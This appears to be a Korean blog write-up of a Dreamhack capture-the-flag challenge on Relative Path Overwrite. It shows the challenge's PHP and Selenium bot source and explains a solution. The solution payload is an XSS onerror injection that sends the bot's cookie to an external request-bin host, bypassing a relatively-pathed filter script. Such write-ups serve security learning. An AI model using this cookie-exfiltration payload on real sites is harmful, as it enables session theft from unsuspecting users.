[2025-08-17] RPO

August 17, 2025

🦥 본문

bot.py

  from selenium import webdriver
  from selenium.webdriver.chrome.service import Service
  import sys
  import base64
    
  if len(sys.argv) < 2:
      exit(-1)
    
  if len(sys.argv[1]) == 0:
      exit(-1)
    
  path = base64.b64decode(sys.argv[1]).decode('latin-1')
    
  try:
      FLAG = open('/flag.txt', 'r').read()
  except:
      FLAG = '[**FLAG**]'
    
  def read_url(url, cookie={'name': 'name', 'value': 'value'}):
      cookie.update({'domain':'127.0.0.1'})
      try:
          service = Service(executable_path="/chromedriver")
          options = webdriver.ChromeOptions()
          for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
              options.add_argument(_)
          driver = webdriver.Chrome(service=service, options=options)
          driver.implicitly_wait(3)
          driver.set_page_load_timeout(3)
          driver.get('http://127.0.0.1/')
          driver.add_cookie(cookie)
          driver.get(url)
    
      except Exception as e:
          driver.quit()
          return False
      driver.quit()
      return True
    
  def check_xss(path, cookie={'name': 'name', 'value': 'value'}):
      url = f'http://127.0.0.1/{path}'
      return read_url(url, cookie)
    
  if not check_xss(path, {'name': 'flag', 'value': FLAG.strip()}):
      print('<script>alert("wrong??");history.go(-1);</script>')
  else:
      print('<script>alert("good");history.go(-1);</script>')
    

check_xss() 에서 쿠키에 flag를 집어 넣고 read_url()을 통해 웹드라이버로 실행

index.php

  <html>
  <head>
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
  <title>Relative-Path-Overwrite</title>
  </head>
  <body>
      <!-- Fixed navbar -->
      <nav class="navbar navbar-default navbar-fixed-top">
        <div class="container">
          <div class="navbar-header">
            <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
          </div>
          <div id="navbar">
            <ul class="nav navbar-nav">
              <li><a href="/">Home</a></li>
              <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
              <li><a href="/?page=report">Report</a></li>
            </ul>
    
          </div><!--/.nav-collapse -->
        </div>
      </nav><br/><br/><br/>
      <div class="container">
        <?php
            $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
            if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
                include $page;
        ?>
      </div> 
  </body>
  </html>
    

page 파라미터를 통해 .php 파일 실행. 이 때 ..이나 :이나 /는 필터링

report.php

  <?php
  if(isset($_POST['path'])){
      exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
      echo($output[0]);
  }
  ?>
    
  <form method="POST" class="form-inline">
      <div class="form-group">
          <label class="sr-only" for="path">/</label>
          <div class="input-group">
              <div class="input-group-addon">http://127.0.0.1/</div>
              <input type="text" class="form-control" id="path" name="path" placeholder="/">
          </div>
      </div>
      <button type="submit" class="btn btn-primary">Report</button>
  </form>
    

아래와 같은 코드 실행
```
  python3 /bot.py <Base64로 인코딩된 path> 2>/dev/null &
```
- 이 때 escape를 사용하여 CLI Injection 피함
- 2>/dev/null : 에러 출력은 전부 무시
- & : 백그라운드 실행

vuln.php

  <script src="filter.js"></script>
  <pre id=param></pre>
  <script>
      var param_elem = document.getElementById("param");
      var url = new URL(window.location.href);
      var param = url.searchParams.get("param");
      if (typeof filter !== 'undefined') {
          for (var i = 0; i < filter.length; i++) {
              if (param.toLowerCase().includes(filter[i])) {
                  param = "nope !!";
                  break;
              }
          }
      }
    
      param_elem.innerHTML = param;
  </script>

현재 URL의 param 값을 가져와서 필터링 후 <pre> 태그에 집어 넣음
filter.js가 상대 주소로 되어 있어서 필터링을 수행 안 시킬 수 있음

flag를 얻으려면 웹드라이버에 들어가서 쿠키에 있는 값을 알아내야 함.

즉 첫번째로는 /report API에 요청을 보내야 함

index.php에서 페이지를 실행시켜야 상대 경로인 fileter.js의 필터링을 피할 수 있음

그리고 쿠키를 얻으려면 외부에서 접근이 가능해야 함

풀이 과정

report 페이지 내에서 아래와 같은 코드 삽입 후 보냄
```
 index.php/?page=vuln&param=<img src=@ onerror=location.href="https://ejjwaqq.request.dreamhack.games/"%2bdocument.cookie>
```
- 웹 드라이버에서 index.php를 들어감. 해당 페이지에서 vuln.php를 실행
- vuln.php에서 <img onerror>를 통해드림핵 툴즈로 쿠키를 보냄
- 인코딩 → 디코딩 → 디코딩 순으로 진행되므로 + 는 미리 인코딩을 시켜놔야 함
- 그리고 이때 filter.js는 index.php/filter.js 같이 잘못된 경로로 요청
드림핵 툴즈에서 해당하는 flag를 얻을 수 있음

[2025-08-17] RPO

🦥 본문

풀이 과정

Leave a comment

You may also enjoy

[2025-08-18] DOM Vulnerability

[2025-08-17] RPO advanced

[2025-08-17] Relative Path Overwrite(RPO)

[2025-08-16] CSS Injection